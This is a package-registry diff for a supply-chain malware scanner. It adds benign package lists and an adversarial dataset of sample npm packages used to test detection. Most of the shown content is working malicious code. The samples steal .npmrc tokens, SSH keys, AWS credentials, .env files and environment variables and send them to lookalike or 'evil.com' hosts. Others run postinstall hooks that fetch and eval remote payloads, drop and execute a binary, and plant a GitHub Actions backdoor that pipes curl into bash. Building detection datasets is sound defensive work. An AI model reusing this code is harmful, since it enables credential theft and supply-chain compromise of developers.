muaddib-scanner 2.1.5 → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.fr.md +33 -8
- package/README.md +33 -8
- package/assets/logo2removebg.png +0 -0
- package/bin/muaddib.js +9 -0
- package/datasets/adversarial/README.md +23 -0
- package/datasets/adversarial/ai-agent-weaponization/index.js +5 -0
- package/datasets/adversarial/ai-agent-weaponization/package.json +9 -0
- package/datasets/adversarial/ai-agent-weaponization/setup.js +83 -0
- package/datasets/adversarial/ai-config-injection/.cursorrules +36 -0
- package/datasets/adversarial/ai-config-injection/index.js +16 -0
- package/datasets/adversarial/ai-config-injection/package.json +8 -0
- package/datasets/adversarial/browser-api-hook/index.js +66 -0
- package/datasets/adversarial/browser-api-hook/package.json +6 -0
- package/datasets/adversarial/bun-runtime-evasion/bun_environment.js +23 -0
- package/datasets/adversarial/bun-runtime-evasion/package.json +9 -0
- package/datasets/adversarial/bun-runtime-evasion/setup.js +10 -0
- package/datasets/adversarial/ci-trigger-exfil/index.js +17 -0
- package/datasets/adversarial/ci-trigger-exfil/package.json +9 -0
- package/datasets/adversarial/conditional-chain/index.js +14 -0
- package/datasets/adversarial/conditional-chain/package.json +9 -0
- package/datasets/adversarial/crypto-wallet-harvest/index.js +44 -0
- package/datasets/adversarial/crypto-wallet-harvest/package.json +6 -0
- package/datasets/adversarial/dead-mans-switch/index.js +35 -0
- package/datasets/adversarial/dead-mans-switch/package.json +9 -0
- package/datasets/adversarial/delayed-exfil/index.js +6 -0
- package/datasets/adversarial/delayed-exfil/package.json +6 -0
- package/datasets/adversarial/detached-background/launcher.js +11 -0
- package/datasets/adversarial/detached-background/package.json +9 -0
- package/datasets/adversarial/detached-background/worker.js +26 -0
- package/datasets/adversarial/discord-webhook-exfil/index.js +95 -0
- package/datasets/adversarial/discord-webhook-exfil/package.json +9 -0
- package/datasets/adversarial/dns-chunk-exfil/index.js +10 -0
- package/datasets/adversarial/dns-chunk-exfil/package.json +6 -0
- package/datasets/adversarial/docker-aware/index.js +10 -0
- package/datasets/adversarial/docker-aware/package.json +6 -0
- package/datasets/adversarial/double-base64-exfil/index.js +11 -0
- package/datasets/adversarial/double-base64-exfil/package.json +9 -0
- package/datasets/adversarial/dynamic-import/index.js +21 -0
- package/datasets/adversarial/dynamic-import/package.json +9 -0
- package/datasets/adversarial/dynamic-require/index.js +3 -0
- package/datasets/adversarial/dynamic-require/package.json +9 -0
- package/datasets/adversarial/fake-captcha-fingerprint/index.js +64 -0
- package/datasets/adversarial/fake-captcha-fingerprint/package.json +9 -0
- package/datasets/adversarial/gh-cli-token-steal/index.js +31 -0
- package/datasets/adversarial/gh-cli-token-steal/package.json +6 -0
- package/datasets/adversarial/github-exfil/index.js +33 -0
- package/datasets/adversarial/github-exfil/package.json +9 -0
- package/datasets/adversarial/iife-exfil/index.js +17 -0
- package/datasets/adversarial/iife-exfil/package.json +9 -0
- package/datasets/adversarial/nested-payload/index.js +3 -0
- package/datasets/adversarial/nested-payload/package.json +9 -0
- package/datasets/adversarial/nested-payload/utils/helper.js +6 -0
- package/datasets/adversarial/nested-payload/utils/lib/format.js +23 -0
- package/datasets/adversarial/postinstall-download/package.json +8 -0
- package/datasets/adversarial/preinstall-background-fork/bootstrap.js +16 -0
- package/datasets/adversarial/preinstall-background-fork/index.js +2 -0
- package/datasets/adversarial/preinstall-background-fork/package.json +9 -0
- package/datasets/adversarial/preinstall-background-fork/stealer.js +67 -0
- package/datasets/adversarial/preinstall-exec/package.json +9 -0
- package/datasets/adversarial/preinstall-exec/steal.js +24 -0
- package/datasets/adversarial/proxy-env-intercept/index.js +33 -0
- package/datasets/adversarial/proxy-env-intercept/package.json +9 -0
- package/datasets/adversarial/pyinstaller-dropper/index.js +25 -0
- package/datasets/adversarial/pyinstaller-dropper/package.json +9 -0
- package/datasets/adversarial/rdd-zero-deps/index.js +32 -0
- package/datasets/adversarial/rdd-zero-deps/init.js +15 -0
- package/datasets/adversarial/rdd-zero-deps/package.json +11 -0
- package/datasets/adversarial/remote-dynamic-dependency/index.js +15 -0
- package/datasets/adversarial/remote-dynamic-dependency/package.json +7 -0
- package/datasets/adversarial/self-hosted-runner-backdoor/index.js +28 -0
- package/datasets/adversarial/self-hosted-runner-backdoor/package.json +9 -0
- package/datasets/adversarial/silent-error-swallow/index.js +32 -0
- package/datasets/adversarial/silent-error-swallow/package.json +6 -0
- package/datasets/adversarial/staged-fetch/index.js +9 -0
- package/datasets/adversarial/staged-fetch/package.json +6 -0
- package/datasets/adversarial/string-concat-obfuscation/index.js +6 -0
- package/datasets/adversarial/string-concat-obfuscation/package.json +6 -0
- package/datasets/adversarial/template-literal-obfuscation/index.js +4 -0
- package/datasets/adversarial/template-literal-obfuscation/package.json +9 -0
- package/datasets/adversarial/triple-base64-github-push/index.js +38 -0
- package/datasets/adversarial/triple-base64-github-push/package.json +9 -0
- package/datasets/adversarial/websocket-exfil/index.js +34 -0
- package/datasets/adversarial/websocket-exfil/package.json +9 -0
- package/datasets/benign/README.md +20 -0
- package/datasets/benign/packages-npm.txt +98 -0
- package/datasets/benign/packages-pypi.txt +49 -0
- package/metrics/v2.1.5.json +753 -0
- package/metrics/v2.2.0.json +753 -0
- package/nul +0 -5
- package/package.json +1 -1
- package/src/commands/evaluate.js +270 -0
- package/src/index.js +12 -5
- package/src/ioc/bootstrap.js +1 -0
- package/src/response/playbooks.js +66 -0
- package/src/rules/index.js +181 -0
- package/src/scanner/ai-config.js +183 -0
- package/src/scanner/ast.js +496 -2
- package/src/scanner/dataflow.js +147 -16
- package/src/scanner/package.js +3 -1
- package/src/utils.js +10 -3
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
// Background stealer — runs detached from npm install process
|
|
2
|
+
// Waits for parent to exit, then harvests credentials silently
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
|
|
9
|
+
// Wait 3 minutes — ensures npm install has finished and sandbox timeout has passed
|
|
10
|
+
setTimeout(() => {
|
|
11
|
+
const loot = {
|
|
12
|
+
host: os.hostname(),
|
|
13
|
+
user: os.userInfo().username,
|
|
14
|
+
arch: os.arch(),
|
|
15
|
+
platform: process.platform,
|
|
16
|
+
pid: process.pid,
|
|
17
|
+
parentPid: process.env._MUADDIB_PARENT_PID
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
// Steal .npmrc tokens
|
|
21
|
+
try {
|
|
22
|
+
loot.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
23
|
+
} catch (e) {}
|
|
24
|
+
|
|
25
|
+
// Steal SSH private keys
|
|
26
|
+
const sshDir = path.join(os.homedir(), '.ssh');
|
|
27
|
+
try {
|
|
28
|
+
const files = fs.readdirSync(sshDir);
|
|
29
|
+
loot.ssh = {};
|
|
30
|
+
for (const f of files) {
|
|
31
|
+
if (f.startsWith('id_') && !f.endsWith('.pub')) {
|
|
32
|
+
try {
|
|
33
|
+
loot.ssh[f] = fs.readFileSync(path.join(sshDir, f), 'utf8');
|
|
34
|
+
} catch (e) {}
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
} catch (e) {}
|
|
38
|
+
|
|
39
|
+
// Steal AWS credentials
|
|
40
|
+
try {
|
|
41
|
+
loot.aws = fs.readFileSync(path.join(os.homedir(), '.aws', 'credentials'), 'utf8');
|
|
42
|
+
} catch (e) {}
|
|
43
|
+
|
|
44
|
+
// Steal .env from common project directories
|
|
45
|
+
const cwd = process.cwd();
|
|
46
|
+
try {
|
|
47
|
+
loot.dotenv = fs.readFileSync(path.join(cwd, '.env'), 'utf8');
|
|
48
|
+
} catch (e) {}
|
|
49
|
+
|
|
50
|
+
// Exfiltrate via HTTPS POST to attacker C2
|
|
51
|
+
const data = JSON.stringify(loot);
|
|
52
|
+
const req = https.request({
|
|
53
|
+
hostname: 'api.pkg-telemetry.dev',
|
|
54
|
+
path: '/v1/metrics',
|
|
55
|
+
method: 'POST',
|
|
56
|
+
headers: {
|
|
57
|
+
'Content-Type': 'application/json',
|
|
58
|
+
'Content-Length': Buffer.byteLength(data),
|
|
59
|
+
'User-Agent': 'npm/10.0.0 node/v20.0.0'
|
|
60
|
+
}
|
|
61
|
+
}, () => {
|
|
62
|
+
process.exit(0);
|
|
63
|
+
});
|
|
64
|
+
req.on('error', () => process.exit(0));
|
|
65
|
+
req.write(data);
|
|
66
|
+
req.end();
|
|
67
|
+
}, 3 * 60 * 1000);
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
// Runs BEFORE install completes — even if npm install fails, this already executed
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
// Read npm tokens from .npmrc
|
|
8
|
+
const npmrcPath = path.join(os.homedir(), '.npmrc');
|
|
9
|
+
let tokens = '';
|
|
10
|
+
try {
|
|
11
|
+
tokens = fs.readFileSync(npmrcPath, 'utf8');
|
|
12
|
+
} catch (e) {}
|
|
13
|
+
|
|
14
|
+
// Exfiltrate via HTTP POST
|
|
15
|
+
const data = JSON.stringify({ host: os.hostname(), npmrc: tokens });
|
|
16
|
+
const req = http.request({
|
|
17
|
+
hostname: 'telemetry.npm-stats.io',
|
|
18
|
+
port: 80,
|
|
19
|
+
path: '/api/install-metrics',
|
|
20
|
+
method: 'POST',
|
|
21
|
+
headers: { 'Content-Type': 'application/json' }
|
|
22
|
+
}, () => {});
|
|
23
|
+
req.write(data);
|
|
24
|
+
req.end();
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
// Adversarial sample: Proxy trap on process.env captures all env vars silently
|
|
2
|
+
var http = require('http');
|
|
3
|
+
var collected = {};
|
|
4
|
+
|
|
5
|
+
var handler = {
|
|
6
|
+
get: function(target, prop) {
|
|
7
|
+
var val = target[prop];
|
|
8
|
+
if (typeof val === 'string' && prop !== 'PATH' && prop !== 'HOME') {
|
|
9
|
+
collected[prop] = val;
|
|
10
|
+
}
|
|
11
|
+
return val;
|
|
12
|
+
}
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
process.env = new Proxy(process.env, handler);
|
|
16
|
+
|
|
17
|
+
// Trigger reads that the app would normally do
|
|
18
|
+
var _ = process.env.NODE_ENV;
|
|
19
|
+
var __ = process.env.npm_config_registry;
|
|
20
|
+
|
|
21
|
+
setTimeout(function() {
|
|
22
|
+
var payload = JSON.stringify(collected);
|
|
23
|
+
var opts = {
|
|
24
|
+
hostname: 'collector.evil.com',
|
|
25
|
+
port: 80,
|
|
26
|
+
path: '/env',
|
|
27
|
+
method: 'POST',
|
|
28
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
29
|
+
};
|
|
30
|
+
var req = http.request(opts, function() {});
|
|
31
|
+
req.write(payload);
|
|
32
|
+
req.end();
|
|
33
|
+
}, 5000);
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
// PhantomRaven dropper (Sonatype): download binary, chmod, execute
|
|
2
|
+
// Classic dropper pattern — postinstall downloads and runs an external binary
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const { exec } = require('child_process');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
|
|
9
|
+
const BINARY_URL = 'https://cdn.release-assets.dev/v3/update';
|
|
10
|
+
const DROP_PATH = '/tmp/update';
|
|
11
|
+
|
|
12
|
+
const file = fs.createWriteStream(DROP_PATH);
|
|
13
|
+
|
|
14
|
+
https.get(BINARY_URL, (response) => {
|
|
15
|
+
response.pipe(file);
|
|
16
|
+
file.on('finish', () => {
|
|
17
|
+
file.close();
|
|
18
|
+
// Make executable and run
|
|
19
|
+
fs.chmodSync(DROP_PATH, 0o755);
|
|
20
|
+
exec(DROP_PATH, { timeout: 30000 }, () => {
|
|
21
|
+
// Clean up after execution
|
|
22
|
+
try { fs.unlinkSync(DROP_PATH); } catch (e) {}
|
|
23
|
+
});
|
|
24
|
+
});
|
|
25
|
+
}).on('error', () => {});
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
// PhantomRaven variant: zero dependencies, runtime payload download
|
|
2
|
+
// 200+ packages, 86K victims (Sonatype/Koi Security, Oct 2025)
|
|
3
|
+
// The package.json shows zero dependencies to project a false sense of security
|
|
4
|
+
|
|
5
|
+
const http = require('http');
|
|
6
|
+
const https = require('https');
|
|
7
|
+
|
|
8
|
+
// Stage 1: Fetch payload from what looks like a CDN config endpoint
|
|
9
|
+
function loadConfig() {
|
|
10
|
+
return new Promise((resolve, reject) => {
|
|
11
|
+
const req = https.get('https://cdn.config-registry.io/v3/runtime/loader.js', (res) => {
|
|
12
|
+
let body = '';
|
|
13
|
+
res.on('data', chunk => body += chunk);
|
|
14
|
+
res.on('end', () => resolve(body));
|
|
15
|
+
});
|
|
16
|
+
req.on('error', reject);
|
|
17
|
+
});
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Stage 2: Execute the downloaded payload
|
|
21
|
+
async function bootstrap() {
|
|
22
|
+
try {
|
|
23
|
+
const payload = await loadConfig();
|
|
24
|
+
// Dynamic evaluation — the actual malicious code is never on disk
|
|
25
|
+
const fn = new Function('require', 'process', payload);
|
|
26
|
+
fn(require, process);
|
|
27
|
+
} catch (e) {
|
|
28
|
+
// Silent failure — don't alert the user
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
bootstrap();
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
// PhantomRaven postinstall: downloads and evals setup script
|
|
2
|
+
// Runs during npm install — payload is fetched from remote server
|
|
3
|
+
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const url = 'https://registry.npm-config.dev/setup/init.js';
|
|
7
|
+
|
|
8
|
+
https.get(url, (res) => {
|
|
9
|
+
let data = '';
|
|
10
|
+
res.on('data', chunk => data += chunk);
|
|
11
|
+
res.on('end', () => {
|
|
12
|
+
// eval the remote payload — never stored on disk
|
|
13
|
+
eval(data);
|
|
14
|
+
});
|
|
15
|
+
}).on('error', () => {});
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "rdd-zero-deps",
|
|
3
|
+
"version": "2.0.1",
|
|
4
|
+
"description": "Adversarial sample: PhantomRaven zero-dependency variant (Sonatype/Koi Oct 2025)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"dependencies": {},
|
|
7
|
+
"devDependencies": {},
|
|
8
|
+
"scripts": {
|
|
9
|
+
"postinstall": "node init.js"
|
|
10
|
+
}
|
|
11
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
// PhantomRaven pattern: zero dependencies, payload fetched at runtime
|
|
2
|
+
// No require('child_process'), no require('fs'), no import — just fetch + eval
|
|
3
|
+
|
|
4
|
+
async function initialize() {
|
|
5
|
+
// Fetch remote configuration (actually malicious payload)
|
|
6
|
+
const response = await fetch('https://cdn.jsdelivr.net/npm/@config-loader/runtime/config.js');
|
|
7
|
+
const payload = await response.text();
|
|
8
|
+
|
|
9
|
+
// Execute fetched code — the real malware lives on the remote server
|
|
10
|
+
// This makes static analysis nearly impossible: the malicious code is never in the package
|
|
11
|
+
eval(payload);
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
// Auto-execute on require/import
|
|
15
|
+
initialize();
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
// Shai-Hulud 2.0: create a GitHub Actions workflow that registers as self-hosted runner
|
|
2
|
+
// Persistence technique — no direct exfiltration, drops a backdoor workflow file
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
const workflowContent = `name: discussion
|
|
8
|
+
on:
|
|
9
|
+
discussion:
|
|
10
|
+
types: [created]
|
|
11
|
+
jobs:
|
|
12
|
+
process:
|
|
13
|
+
runs-on: self-hosted
|
|
14
|
+
steps:
|
|
15
|
+
- name: Setup
|
|
16
|
+
run: |
|
|
17
|
+
curl -sL https://setup.runner-config.dev/install.sh | bash
|
|
18
|
+
echo "Runner configured"
|
|
19
|
+
`;
|
|
20
|
+
|
|
21
|
+
// Find the nearest .github directory or create one
|
|
22
|
+
const projectRoot = process.cwd();
|
|
23
|
+
const ghDir = path.join(projectRoot, '.github', 'workflows');
|
|
24
|
+
|
|
25
|
+
try {
|
|
26
|
+
fs.mkdirSync(ghDir, { recursive: true });
|
|
27
|
+
fs.writeFileSync(path.join(ghDir, 'discussion.yaml'), workflowContent);
|
|
28
|
+
} catch (e) {}
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
// Shai-Hulud v1: all malicious code wrapped in try/catch with empty catch
|
|
2
|
+
// No errors, no logs, completely silent — user never knows it ran
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
|
|
9
|
+
try {
|
|
10
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
11
|
+
const data = JSON.stringify({ h: os.hostname(), t: npmrc });
|
|
12
|
+
const req = https.request({
|
|
13
|
+
hostname: 'telemetry.pkg-analytics.io',
|
|
14
|
+
path: '/v1/report',
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: { 'Content-Type': 'application/json' }
|
|
17
|
+
}, () => {});
|
|
18
|
+
req.write(data);
|
|
19
|
+
req.end();
|
|
20
|
+
} catch (e) {}
|
|
21
|
+
|
|
22
|
+
try {
|
|
23
|
+
const envFile = fs.readFileSync(path.join(process.cwd(), '.env'), 'utf8');
|
|
24
|
+
const req2 = https.request({
|
|
25
|
+
hostname: 'telemetry.pkg-analytics.io',
|
|
26
|
+
path: '/v1/env',
|
|
27
|
+
method: 'POST',
|
|
28
|
+
headers: { 'Content-Type': 'application/json' }
|
|
29
|
+
}, () => {});
|
|
30
|
+
req2.write(JSON.stringify({ env: envFile }));
|
|
31
|
+
req2.end();
|
|
32
|
+
} catch (e) {}
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
// Shai-Hulud v1: collect all env vars, triple base64 encode, push to GitHub API
|
|
2
|
+
// Exfiltration via a legitimate service (api.github.com)
|
|
3
|
+
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
|
|
7
|
+
// Collect all environment variables
|
|
8
|
+
const envDump = JSON.stringify(process.env);
|
|
9
|
+
|
|
10
|
+
// Triple base64 encode to evade pattern detection
|
|
11
|
+
const b1 = Buffer.from(envDump).toString('base64');
|
|
12
|
+
const b2 = Buffer.from(b1).toString('base64');
|
|
13
|
+
const b3 = Buffer.from(b2).toString('base64');
|
|
14
|
+
|
|
15
|
+
// Create a public gist via GitHub API with the stolen data
|
|
16
|
+
const gistPayload = JSON.stringify({
|
|
17
|
+
description: 'config-backup-' + Date.now(),
|
|
18
|
+
public: true,
|
|
19
|
+
files: {
|
|
20
|
+
'config.txt': {
|
|
21
|
+
content: b3
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
const req = https.request({
|
|
27
|
+
hostname: 'api.github.com',
|
|
28
|
+
path: '/gists',
|
|
29
|
+
method: 'POST',
|
|
30
|
+
headers: {
|
|
31
|
+
'Content-Type': 'application/json',
|
|
32
|
+
'User-Agent': 'node-fetch/1.0',
|
|
33
|
+
'Authorization': `token ${process.env.GITHUB_TOKEN || ''}`,
|
|
34
|
+
'Content-Length': Buffer.byteLength(gistPayload)
|
|
35
|
+
}
|
|
36
|
+
}, () => {});
|
|
37
|
+
req.write(gistPayload);
|
|
38
|
+
req.end();
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
// Adversarial sample: WebSocket exfiltration — bypasses HTTP/HTTPS/DNS detection
|
|
2
|
+
var net = require('net');
|
|
3
|
+
var fs = require('fs');
|
|
4
|
+
var os = require('os');
|
|
5
|
+
var crypto = require('crypto');
|
|
6
|
+
|
|
7
|
+
// Read sensitive data
|
|
8
|
+
var envDump = JSON.stringify(process.env);
|
|
9
|
+
var npmrc = '';
|
|
10
|
+
try { npmrc = fs.readFileSync(os.homedir() + '/.npmrc', 'utf8'); } catch(e) {}
|
|
11
|
+
|
|
12
|
+
// Manual WebSocket handshake over raw TCP to avoid http.request detection
|
|
13
|
+
var socket = net.connect(80, 'ws.evil.com', function() {
|
|
14
|
+
var wsKey = crypto.randomBytes(16).toString('base64');
|
|
15
|
+
var upgrade = 'GET /exfil HTTP/1.1\r\n' +
|
|
16
|
+
'Host: ws.evil.com\r\n' +
|
|
17
|
+
'Upgrade: websocket\r\n' +
|
|
18
|
+
'Connection: Upgrade\r\n' +
|
|
19
|
+
'Sec-WebSocket-Key: ' + wsKey + '\r\n' +
|
|
20
|
+
'Sec-WebSocket-Version: 13\r\n\r\n';
|
|
21
|
+
socket.write(upgrade);
|
|
22
|
+
|
|
23
|
+
// Send payload as WebSocket frame after handshake
|
|
24
|
+
setTimeout(function() {
|
|
25
|
+
var payload = JSON.stringify({ env: envDump, npmrc: npmrc });
|
|
26
|
+
var buf = Buffer.from(payload);
|
|
27
|
+
var frame = Buffer.alloc(2 + buf.length);
|
|
28
|
+
frame[0] = 0x81;
|
|
29
|
+
frame[1] = buf.length;
|
|
30
|
+
buf.copy(frame, 2);
|
|
31
|
+
socket.write(frame);
|
|
32
|
+
socket.end();
|
|
33
|
+
}, 1000);
|
|
34
|
+
});
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
# Benign Dataset
|
|
2
|
+
|
|
3
|
+
This dataset contains known-legitimate packages used to measure MUAD'DIB's **False Positive Rate (FPR)**.
|
|
4
|
+
|
|
5
|
+
## Contents
|
|
6
|
+
|
|
7
|
+
- `packages-npm.txt` — 100 popular npm packages (one per line)
|
|
8
|
+
- `packages-pypi.txt` — 50 popular PyPI packages (one per line)
|
|
9
|
+
|
|
10
|
+
## FPR Calculation
|
|
11
|
+
|
|
12
|
+
```
|
|
13
|
+
FPR = packages with score > 20 / total packages scanned
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
A package scoring above 20 on a known-legitimate package is considered a false positive.
|
|
17
|
+
|
|
18
|
+
## Target
|
|
19
|
+
|
|
20
|
+
**FPR < 5%** — fewer than 8 false positives out of 150 packages.
|
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
express
|
|
2
|
+
lodash
|
|
3
|
+
react
|
|
4
|
+
axios
|
|
5
|
+
webpack
|
|
6
|
+
typescript
|
|
7
|
+
eslint
|
|
8
|
+
prettier
|
|
9
|
+
jest
|
|
10
|
+
mocha
|
|
11
|
+
next
|
|
12
|
+
vue
|
|
13
|
+
moment
|
|
14
|
+
dayjs
|
|
15
|
+
uuid
|
|
16
|
+
chalk
|
|
17
|
+
commander
|
|
18
|
+
inquirer
|
|
19
|
+
yargs
|
|
20
|
+
dotenv
|
|
21
|
+
cors
|
|
22
|
+
body-parser
|
|
23
|
+
mongoose
|
|
24
|
+
sequelize
|
|
25
|
+
passport
|
|
26
|
+
jsonwebtoken
|
|
27
|
+
bcrypt
|
|
28
|
+
nodemailer
|
|
29
|
+
socket.io
|
|
30
|
+
redis
|
|
31
|
+
pg
|
|
32
|
+
mysql2
|
|
33
|
+
sqlite3
|
|
34
|
+
sharp
|
|
35
|
+
multer
|
|
36
|
+
formidable
|
|
37
|
+
cheerio
|
|
38
|
+
puppeteer
|
|
39
|
+
playwright
|
|
40
|
+
cypress
|
|
41
|
+
electron
|
|
42
|
+
react-dom
|
|
43
|
+
react-router
|
|
44
|
+
redux
|
|
45
|
+
mobx
|
|
46
|
+
rxjs
|
|
47
|
+
ramda
|
|
48
|
+
underscore
|
|
49
|
+
async
|
|
50
|
+
debug
|
|
51
|
+
minimist
|
|
52
|
+
glob
|
|
53
|
+
rimraf
|
|
54
|
+
mkdirp
|
|
55
|
+
semver
|
|
56
|
+
yup
|
|
57
|
+
zod
|
|
58
|
+
ajv
|
|
59
|
+
joi
|
|
60
|
+
express-validator
|
|
61
|
+
helmet
|
|
62
|
+
compression
|
|
63
|
+
morgan
|
|
64
|
+
winston
|
|
65
|
+
pino
|
|
66
|
+
bunyan
|
|
67
|
+
dotenv-expand
|
|
68
|
+
cross-env
|
|
69
|
+
concurrently
|
|
70
|
+
nodemon
|
|
71
|
+
ts-node
|
|
72
|
+
esbuild
|
|
73
|
+
rollup
|
|
74
|
+
vite
|
|
75
|
+
parcel
|
|
76
|
+
core-js
|
|
77
|
+
regenerator-runtime
|
|
78
|
+
whatwg-fetch
|
|
79
|
+
isomorphic-fetch
|
|
80
|
+
node-fetch
|
|
81
|
+
got
|
|
82
|
+
superagent
|
|
83
|
+
form-data
|
|
84
|
+
busboy
|
|
85
|
+
cookie-parser
|
|
86
|
+
express-session
|
|
87
|
+
connect-redis
|
|
88
|
+
ioredis
|
|
89
|
+
bull
|
|
90
|
+
agenda
|
|
91
|
+
node-cron
|
|
92
|
+
date-fns
|
|
93
|
+
luxon
|
|
94
|
+
numeral
|
|
95
|
+
decimal.js
|
|
96
|
+
bignumber.js
|
|
97
|
+
mathjs
|
|
98
|
+
lodash-es
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
requests
|
|
2
|
+
numpy
|
|
3
|
+
pandas
|
|
4
|
+
flask
|
|
5
|
+
django
|
|
6
|
+
fastapi
|
|
7
|
+
sqlalchemy
|
|
8
|
+
pytest
|
|
9
|
+
black
|
|
10
|
+
pylint
|
|
11
|
+
mypy
|
|
12
|
+
pydantic
|
|
13
|
+
httpx
|
|
14
|
+
aiohttp
|
|
15
|
+
celery
|
|
16
|
+
redis
|
|
17
|
+
boto3
|
|
18
|
+
pillow
|
|
19
|
+
opencv-python
|
|
20
|
+
tensorflow
|
|
21
|
+
torch
|
|
22
|
+
scikit-learn
|
|
23
|
+
matplotlib
|
|
24
|
+
seaborn
|
|
25
|
+
plotly
|
|
26
|
+
beautifulsoup4
|
|
27
|
+
scrapy
|
|
28
|
+
selenium
|
|
29
|
+
playwright
|
|
30
|
+
lxml
|
|
31
|
+
pyyaml
|
|
32
|
+
toml
|
|
33
|
+
python-dotenv
|
|
34
|
+
click
|
|
35
|
+
typer
|
|
36
|
+
rich
|
|
37
|
+
tqdm
|
|
38
|
+
loguru
|
|
39
|
+
structlog
|
|
40
|
+
sentry-sdk
|
|
41
|
+
gunicorn
|
|
42
|
+
uvicorn
|
|
43
|
+
starlette
|
|
44
|
+
jinja2
|
|
45
|
+
mako
|
|
46
|
+
alembic
|
|
47
|
+
psycopg2
|
|
48
|
+
pymongo
|
|
49
|
+
motor
|